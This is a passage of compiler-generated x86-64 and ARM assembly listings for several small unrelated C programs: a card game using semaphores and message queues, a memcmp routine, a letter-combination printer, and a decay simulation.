mov eax, DWORD PTR -76[rbp]
mov rsi, rdx
mov edi, eax
call dajZnak
mov eax, DWORD PTR -104[rbp]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
lea rdx, -12[rbp]
mov eax, DWORD PTR -72[rbp]
mov esi, eax
lea rdi, .LC6[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -40[rbp]
mov eax, DWORD PTR [rax]
lea rdx, -12[rbp]
mov rsi, rdx
mov edi, eax
call dajZnak
mov rax, QWORD PTR -40[rbp]
mov eax, DWORD PTR 4[rax]
lea rdx, -12[rbp]
mov esi, eax
lea rdi, .LC7[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -40[rbp]
mov eax, DWORD PTR [rax]
cmp DWORD PTR -76[rbp], eax
je .L14
mov rax, QWORD PTR -40[rbp]
mov eax, DWORD PTR 4[rax]
cmp DWORD PTR -72[rbp], eax
jne .L15
.L14:
lea rdi, .LC8[rip]
call puts@PLT
mov rax, QWORD PTR -40[rbp]
mov edx, DWORD PTR -72[rbp]
mov DWORD PTR 4[rax], edx
mov rax, QWORD PTR -40[rbp]
mov edx, DWORD PTR -76[rbp]
mov DWORD PTR [rax], edx
cmp DWORD PTR -72[rbp], 8
jne .L18
lea rdi, .LC9[rip]
call puts@PLT
mov rax, QWORD PTR -40[rbp]
mov eax, DWORD PTR 8[rax]
cmp eax, 1
jne .L17
mov rax, QWORD PTR -40[rbp]
mov DWORD PTR 8[rax], 0
jmp .L18
.L17:
mov rax, QWORD PTR -40[rbp]
mov DWORD PTR 8[rax], 1
jmp .L18
.L15:
lea rdi, .LC10[rip]
call puts@PLT
.L18:
add DWORD PTR -104[rbp], 1
mov edi, 5
call sleep@PLT
mov rax, QWORD PTR -40[rbp]
mov eax, DWORD PTR 8[rax]
test eax, eax
jne .L19
mov eax, DWORD PTR semid[rip]
lea rcx, -60[rbp]
mov edx, 1
mov rsi, rcx
mov edi, eax
call semop@PLT
jmp .L21
.L19:
mov eax, DWORD PTR semid[rip]
lea rcx, -54[rbp]
mov edx, 1
mov rsi, rcx
mov edi, eax
call semop@PLT
jmp .L21
.L24:
nop
jmp .L12
.L25:
nop
.L12:
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L23
call __stack_chk_fail@PLT
.L23:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "919152.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "karo\000"
.align 2
.LC1:
.ascii "pik\000"
.align 2
.LC2:
.ascii "tref\000"
.align 2
.LC3:
.ascii "herc\000"
.text
.align 2
.global dajZnak
.syntax unified
.arm
.fpu softvfp
.type dajZnak, %function
dajZnak:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-8]
cmp r3, #0
bne .L2
ldr r3, [fp, #-12]
ldr r2, .L6
mov r0, r3
mov r1, r2
mov r3, #5
mov r2, r3
bl memcpy
.L2:
ldr r3, [fp, #-8]
cmp r3, #1
bne .L3
ldr r3, [fp, #-12]
ldr r2, .L6+4
mov r0, r3
mov r1, r2
mov r3, #4
mov r2, r3
bl memcpy
.L3:
ldr r3, [fp, #-8]
cmp r3, #2
bne .L4
ldr r3, [fp, #-12]
ldr r2, .L6+8
mov r0, r3
mov r1, r2
mov r3, #5
mov r2, r3
bl memcpy
.L4:
ldr r3, [fp, #-8]
cmp r3, #3
bne .L5
ldr r3, [fp, #-12]
ldr r2, .L6+12
mov r0, r3
mov r1, r2
mov r3, #5
mov r2, r3
bl memcpy
.L5:
nop
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L7:
.align 2
.L6:
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.size dajZnak, .-dajZnak
.comm semid,4,4
.comm msgid,4,4
.section .rodata
.align 2
.LC4:
.ascii "\012Primio SIGINT\000"
.text
.align 2
.global sig_handler
.syntax unified
.arm
.fpu softvfp
.type sig_handler, %function
sig_handler:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r0, .L9
bl puts
ldr r3, .L9+4
ldr r3, [r3]
mov r2, #0
mov r1, #0
mov r0, r3
bl semctl
ldr r3, .L9+4
ldr r3, [r3]
mov r2, #0
mov r1, #1
mov r0, r3
bl semctl
ldr r3, .L9+4
ldr r3, [r3]
mov r2, #0
mov r1, #2
mov r0, r3
bl semctl
ldr r3, .L9+4
ldr r3, [r3]
mov r2, #0
mov r1, #3
mov r0, r3
bl semctl
ldr r3, .L9+8
ldr r3, [r3]
mov r2, #0
mov r1, #0
mov r0, r3
bl msgctl
mov r0, #0
bl exit
.L10:
.align 2
.L9:
.word .LC4
.word semid
.word msgid
.size sig_handler, .-sig_handler
.section .rodata
.align 2
.LC5:
.ascii "./karte.c\000"
.align 2
.LC6:
.ascii "Igrac1: Dodeljen redni broj %d\012\000"
.align 2
.LC7:
.ascii "PID forka: %d\012\000"
.align 2
.LC8:
.ascii "Neka druga greska!\000"
.align 2
.LC9:
.ascii "Potez %d-----------------------\012\000"
.align 2
.LC10:
.ascii "Igrac: %d %s\012\000"
.align 2
.LC11:
.ascii "Deljena: %d %s\012\000"
.align 2
.LC12:
.ascii "Izbacio sam kartu igrac1\000"
.align 2
.LC13:
.ascii "OKRENUO SAM\000"
.align 2
.LC14:
.ascii "Nemam adekvatnu kartu\000"
.align 2
.LC15:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 88
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #96
ldr r3, .L30
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r0, #0
bl time
mov r3, r0
mov r0, r3
bl srand
mov r1, #120
ldr r0, .L30+4
bl ftok
str r0, [fp, #-80]
mov r1, #0
ldr r0, [fp, #-80]
bl msgget
mov r3, r0
ldr r2, .L30+8
str r3, [r2]
mov r3, #21
str r3, [fp, #-20]
ldr r3, .L30+8
ldr r0, [r3]
sub r1, fp, #20
mov r3, #0
mov r2, #8
bl msgsnd
ldr r3, .L30+8
ldr r0, [r3]
sub r1, fp, #20
mov r3, #0
str r3, [sp]
mov r3, #0
mov r2, #8
bl msgrcv
ldr r3, [fp, #-20]
str r3, [fp, #-76]
ldr r1, [fp, #-76]
ldr r0, .L30+12
bl printf
ldr r3, .L30+8
ldr r0, [r3]
sub r1, fp, #20
mov r3, #0
str r3, [sp]
ldr r3, [fp, #-76]
mov r2, #8
bl msgrcv
ldr r3, [fp, #-16]
mov r1, r3
ldr r0, .L30+16
bl printf
ldr r3, [fp, #-16]
mov r1, r3
ldr r0, .L30+4
bl ftok
str r0, [fp, #-72]
ldr r3, [fp, #-72]
str r3, [fp, #-68]
ldr r2, .L30+20
mov r1, #4
ldr r0, [fp, #-68]
bl semget
mov r3, r0
ldr r2, .L30+24
str r3, [r2]
ldr r2, .L30+20
mov r1, #12
ldr r0, [fp, #-72]
bl shmget
str r0, [fp, #-64]
ldr r1, .L30+28
mov r0, #2
bl signal
ldr r3, .L30+24
ldr r3, [r3]
cmn r3, #1
beq .L12
mov r3, #0
str r3, [fp, #-88]
ldr r3, .L30+24
ldr r0, [r3]
ldr r3, [fp, #-88]
mov r2, #16
mov r1, #0
bl semctl
ldr r3, .L30+24
ldr r0, [r3]
ldr r3, [fp, #-88]
mov r2, #16
mov r1, #1
bl semctl
ldr r3, .L30+24
ldr r0, [r3]
ldr r3, [fp, #-88]
mov r2, #16
mov r1, #2
bl semctl
ldr r3, .L30+24
ldr r0, [r3]
ldr r3, [fp, #-88]
mov r2, #16
mov r1, #3
bl semctl
b .L13
.L12:
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #17
bne .L14
mov r2, #0
mov r1, #4
ldr r0, [fp, #-68]
bl semget
mov r3, r0
ldr r2, .L30+24
str r3, [r2]
b .L13
.L14:
ldr r0, .L30+32
bl puts
mov r0, #0
bl exit
.L13:
mov r2, #0
mov r1, #0
ldr r0, [fp, #-64]
bl shmat
str r0, [fp, #-60]
mov r3, #0
strh r3, [fp, #-44] @ movhi
mvn r3, #0
strh r3, [fp, #-42] @ movhi
mov r3, #0
strh r3, [fp, #-40] @ movhi
mov r3, #1
strh r3, [fp, #-36] @ movhi
mov r3, #1
strh r3, [fp, #-34] @ movhi
mov r3, #0
strh r3, [fp, #-32] @ movhi
mov r3, #3
strh r3, [fp, #-28] @ movhi
mov r3, #1
strh r3, [fp, #-26] @ movhi
mov r3, #0
strh r3, [fp, #-24] @ movhi
mov r3, #1
str r3, [fp, #-84]
.L25:
ldr r3, [fp, #-84]
cmp r3, #7
beq .L28
ldr r3, .L30+24
ldr r3, [r3]
sub r1, fp, #44
mov r2, #1
mov r0, r3
bl semop
str r0, [fp, #-56]
ldr r3, [fp, #-56]
cmn r3, #1
beq .L29
bl rand
mov r3, r0
rsbs r2, r3, #0
and r3, r3, #3
and r2, r2, #3
rsbpl r3, r2, #0
str r3, [fp, #-52]
bl rand
mov r1, r0
ldr r3, .L30+36
smull r2, r3, r1, r3
asr r2, r3, #2
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #2
add r3, r3, r2
sub r2, r1, r3
add r3, r2, #1
str r3, [fp, #-48]
sub r3, fp, #12
mov r1, r3
ldr r0, [fp, #-52]
bl dajZnak
ldr r1, [fp, #-84]
ldr r0, .L30+40
bl printf
sub r3, fp, #12
mov r2, r3
ldr r1, [fp, #-48]
ldr r0, .L30+44
bl printf
ldr r3, [fp, #-60]
ldr r3, [r3]
sub r2, fp, #12
mov r1, r2
mov r0, r3
bl dajZnak
ldr r3, [fp, #-60]
ldr r3, [r3, #4]
sub r2, fp, #12
mov r1, r3
ldr r0, .L30+48
bl printf
ldr r3, [fp, #-60]
ldr r3, [r3]
ldr r2, [fp, #-52]
cmp r2, r3
beq .L18
ldr r3, [fp, #-60]
ldr r3, [r3, #4]
ldr r2, [fp, #-48]
cmp r2, r3
bne .L19
.L18:
ldr r0, .L30+52
bl puts
ldr r3, [fp, #-60]
ldr r2, [fp, #-48]
str r2, [r3, #4]
ldr r3, [fp, #-60]
ldr r2, [fp, #-52]
str r2, [r3]
ldr r3, [fp, #-48]
cmp r3, #8
bne .L22
ldr r0, .L30+56
bl puts
ldr r3, [fp, #-60]
ldr r3, [r3, #8]
cmp r3, #1
bne .L21
ldr r3, [fp, #-60]
mov r2, #0
str r2, [r3, #8]
b .L22
.L21:
ldr r3, [fp, #-60]
mov r2, #1
str r2, [r3, #8]
b .L22
.L19:
ldr r0, .L30+60
bl puts
.L22:
ldr r3, [fp, #-84]
add r3, r3, #1
str r3, [fp, #-84]
mov r0, #5
bl sleep
ldr r3, [fp, #-60]
ldr r3, [r3, #8]
cmp r3, #0
bne .L23
ldr r3, .L30+24
ldr r3, [r3]
sub r1, fp, #36
mov r2, #1
mov r0, r3
bl semop
b .L25
.L23:
ldr r3, .L30+24
ldr r3, [r3]
sub r1, fp, #28
mov r2, #1
mov r0, r3
bl semop
b .L25
.L28:
nop
b .L16
.L29:
nop
.L16:
mov r3, #0
ldr r2, .L30
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L27
bl __stack_chk_fail
.L27:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L31:
.align 2
.L30:
.word .LC15
.word .LC5
.word msgid
.word .LC6
.word .LC7
.word 950
.word semid
.word sig_handler
.word .LC8
.word 1321528399
.word .LC9
.word .LC10
.word .LC11
.word .LC12
.word .LC13
.word .LC14
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "104273.c"
.intel_syntax noprefix
.text
.globl memcmp
.type memcmp, @function
memcmp:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov QWORD PTR -40[rbp], rdx
cmp QWORD PTR -40[rbp], 0
je .L2
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -32[rbp]
mov QWORD PTR -8[rbp], rax
.L5:
mov rax, QWORD PTR -16[rbp]
lea rdx, 1[rax]
mov QWORD PTR -16[rbp], rdx
movzx ecx, BYTE PTR [rax]
mov rax, QWORD PTR -8[rbp]
lea rdx, 1[rax]
mov QWORD PTR -8[rbp], rdx
movzx eax, BYTE PTR [rax]
cmp cl, al
je .L3
sub QWORD PTR -16[rbp], 1
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
movzx edx, al
sub QWORD PTR -8[rbp], 1
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
movzx ecx, al
mov eax, edx
sub eax, ecx
jmp .L4
.L3:
sub QWORD PTR -40[rbp], 1
cmp QWORD PTR -40[rbp], 0
jne .L5
.L2:
mov eax, 0
.L4:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size memcmp, .-memcmp
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "104273.c"
.text
.align 2
.global memcmp
.syntax unified
.arm
.fpu softvfp
.type memcmp, %function
memcmp:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-24]
cmp r3, #0
beq .L2
ldr r3, [fp, #-16]
str r3, [fp, #-12]
ldr r3, [fp, #-20]
str r3, [fp, #-8]
.L5:
ldr r3, [fp, #-12]
add r2, r3, #1
str r2, [fp, #-12]
ldrb r2, [r3] @ zero_extendqisi2
ldr r3, [fp, #-8]
add r1, r3, #1
str r1, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
beq .L3
ldr r3, [fp, #-12]
sub r3, r3, #1
str r3, [fp, #-12]
ldr r3, [fp, #-12]
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-8]
sub r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
sub r3, r2, r3
b .L4
.L3:
ldr r3, [fp, #-24]
sub r3, r3, #1
str r3, [fp, #-24]
ldr r3, [fp, #-24]
cmp r3, #0
bne .L5
.L2:
mov r3, #0
.L4:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size memcmp, .-memcmp
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "541984.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%c %c %c\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -12[rbp], 65
jmp .L2
.L7:
mov DWORD PTR -8[rbp], 65
jmp .L3
.L6:
mov DWORD PTR -4[rbp], 65
jmp .L4
.L5:
mov ecx, DWORD PTR -4[rbp]
mov edx, DWORD PTR -8[rbp]
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -4[rbp], 1
.L4:
cmp DWORD PTR -4[rbp], 67
jle .L5
add DWORD PTR -8[rbp], 1
.L3:
cmp DWORD PTR -8[rbp], 67
jle .L6
add DWORD PTR -12[rbp], 1
.L2:
cmp DWORD PTR -12[rbp], 67
jle .L7
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "541984.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%c %c %c\012\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
mov r3, #65
str r3, [fp, #-16]
b .L2
.L7:
mov r3, #65
str r3, [fp, #-12]
b .L3
.L6:
mov r3, #65
str r3, [fp, #-8]
b .L4
.L5:
ldr r3, [fp, #-8]
ldr r2, [fp, #-12]
ldr r1, [fp, #-16]
ldr r0, .L9
bl printf
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L4:
ldr r3, [fp, #-8]
cmp r3, #67
ble .L5
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L3:
ldr r3, [fp, #-12]
cmp r3, #67
ble .L6
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L2:
ldr r3, [fp, #-16]
cmp r3, #67
ble .L7
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L10:
.align 2
.L9:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "276885.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
movss xmm0, DWORD PTR .LC0[rip]
movss DWORD PTR -12[rbp], xmm0
movss xmm0, DWORD PTR .LC1[rip]
movss DWORD PTR -8[rbp], xmm0
movss xmm0, DWORD PTR .LC2[rip]
movss DWORD PTR -4[rbp], xmm0
mov edi, 1
call srand48@PLT
movss xmm1, DWORD PTR -4[rbp]
movss xmm0, DWORD PTR -8[rbp]
mov eax, DWORD PTR -12[rbp]
movaps xmm2, xmm1
movaps xmm1, xmm0
movd xmm0, eax
call single_decay
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.globl delta_n_step
.type delta_n_step, @function
delta_n_step:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
movss DWORD PTR -20[rbp], xmm0
movss DWORD PTR -24[rbp], xmm1
movss DWORD PTR -28[rbp], xmm2
call drand48@PLT
cvtsd2ss xmm0, xmm0
movss DWORD PTR -4[rbp], xmm0
movss xmm0, DWORD PTR -24[rbp]
mulss xmm0, DWORD PTR -20[rbp]
mulss xmm0, DWORD PTR -28[rbp]
comiss xmm0, DWORD PTR -4[rbp]
jbe .L8
movss xmm0, DWORD PTR .LC3[rip]
jmp .L6
.L8:
pxor xmm0, xmm0
.L6:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size delta_n_step, .-delta_n_step
.section .rodata
.LC6:
.string "w+"
.LC7:
.string "data_rand_average.txt"
.LC8:
.string "%f %f\n"
.text
.globl single_decay
.type single_decay, @function
single_decay:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
movss DWORD PTR -84[rbp], xmm0
movss DWORD PTR -88[rbp], xmm1
movss DWORD PTR -92[rbp], xmm2
movss xmm0, DWORD PTR .LC5[rip]
divss xmm0, DWORD PTR -88[rbp]
movss DWORD PTR -56[rbp], xmm0
movss xmm0, DWORD PTR -56[rbp]
cvttss2si eax, xmm0
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
divss xmm0, DWORD PTR -92[rbp]
cvttss2si eax, xmm0
mov DWORD PTR -52[rbp], eax
movss xmm0, DWORD PTR .LC5[rip]
movss DWORD PTR -48[rbp], xmm0
pxor xmm0, xmm0
movss DWORD PTR -64[rbp], xmm0
movss xmm0, DWORD PTR -84[rbp]
movss DWORD PTR -60[rbp], xmm0
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 2
mov rdi, rax
call malloc@PLT
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 2
mov rdi, rax
call malloc@PLT
mov QWORD PTR -32[rbp], rax
lea rsi, .LC6[rip]
lea rdi, .LC7[rip]
call fopen@PLT
mov QWORD PTR -24[rbp], rax
pxor xmm0, xmm0
cvtss2sd xmm0, DWORD PTR -60[rbp]
pxor xmm3, xmm3
cvtss2sd xmm3, DWORD PTR -64[rbp]
movq rdx, xmm3
mov rax, QWORD PTR -24[rbp]
movapd xmm1, xmm0
movq xmm0, rdx
lea rsi, .LC8[rip]
mov rdi, rax
mov eax, 2
call fprintf@PLT
mov rax, QWORD PTR -40[rbp]
movss xmm0, DWORD PTR -60[rbp]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -32[rbp]
movss xmm0, DWORD PTR -64[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 2
mov rdi, rax
call malloc@PLT
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 2
mov rdi, rax
call malloc@PLT
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -72[rbp], 0
jmp .L10
.L15:
mov rax, QWORD PTR -16[rbp]
movss xmm0, DWORD PTR -84[rbp]
movss DWORD PTR [rax], xmm0
mov rax, QWORD PTR -8[rbp]
pxor xmm0, xmm0
movss DWORD PTR [rax], xmm0
movss xmm0, DWORD PTR -84[rbp]
movss DWORD PTR -60[rbp], xmm0
pxor xmm0, xmm0
movss DWORD PTR -64[rbp], xmm0
mov DWORD PTR -76[rbp], 1
jmp .L11
.L12:
movss xmm0, DWORD PTR -64[rbp]
addss xmm0, DWORD PTR -92[rbp]
movss DWORD PTR -64[rbp], xmm0
movss xmm1, DWORD PTR -92[rbp]
movss xmm0, DWORD PTR -88[rbp]
mov eax, DWORD PTR -60[rbp]
movaps xmm2, xmm1
movaps xmm1, xmm0
movd xmm0, eax
call delta_n_step
movd eax, xmm0
mov DWORD PTR -44[rbp], eax
movss xmm0, DWORD PTR -60[rbp]
addss xmm0, DWORD PTR -44[rbp]
movss DWORD PTR -60[rbp], xmm0
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movss xmm0, DWORD PTR -60[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -8[rbp]
add rax, rdx
movss xmm0, DWORD PTR -64[rbp]
movss DWORD PTR [rax], xmm0
add DWORD PTR -76[rbp], 1
.L11:
mov eax, DWORD PTR -76[rbp]
cmp eax, DWORD PTR -52[rbp]
jl .L12
mov DWORD PTR -76[rbp], 1
jmp .L13
.L14:
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
addss xmm0, xmm1
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -8[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -76[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
addss xmm0, xmm1
movss DWORD PTR [rax], xmm0
add DWORD PTR -76[rbp], 1
.L13:
mov eax, DWORD PTR -76[rbp]
cmp eax, DWORD PTR -52[rbp]
jl .L14
add DWORD PTR -72[rbp], 1
.L10:
pxor xmm1, xmm1
cvtsi2ss xmm1, DWORD PTR -72[rbp]
movss xmm0, DWORD PTR -48[rbp]
comiss xmm0, xmm1
ja .L15
mov DWORD PTR -68[rbp], 1
jmp .L16
.L17:
mov eax, DWORD PTR -68[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -68[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
divss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -68[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -68[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
divss xmm0, DWORD PTR -48[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -68[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
cvtss2sd xmm0, xmm0
mov eax, DWORD PTR -68[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm1
movq rdx, xmm4
mov rax, QWORD PTR -24[rbp]
movapd xmm1, xmm0
movq xmm0, rdx
lea rsi, .LC8[rip]
mov rdi, rax
mov eax, 2
call fprintf@PLT
add DWORD PTR -68[rbp], 1
.L16:
mov eax, DWORD PTR -68[rbp]
cmp eax, DWORD PTR -52[rbp]
jl .L17
mov rax, QWORD PTR -24[rbp]
mov rdi, rax
call fclose@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size single_decay, .-single_decay
.section .rodata
.align 4
.LC0:
.long 1120403456
.align 4
.LC1:
.long 1056964608
.align 4
.LC2:
.long 981668463
.align 4
.LC3:
.long -1082130432
.align 4
.LC5:
.long 1084227584
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "276885.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L3
str r3, [fp, #-16] @ float
mov r3, #1056964608
str r3, [fp, #-12] @ float
ldr r3, .L3+4
str r3, [fp, #-8] @ float
mov r0, #1
bl srand48
ldr r2, [fp, #-8] @ float
ldr r1, [fp, #-12] @ float
ldr r0, [fp, #-16] @ float
bl single_decay
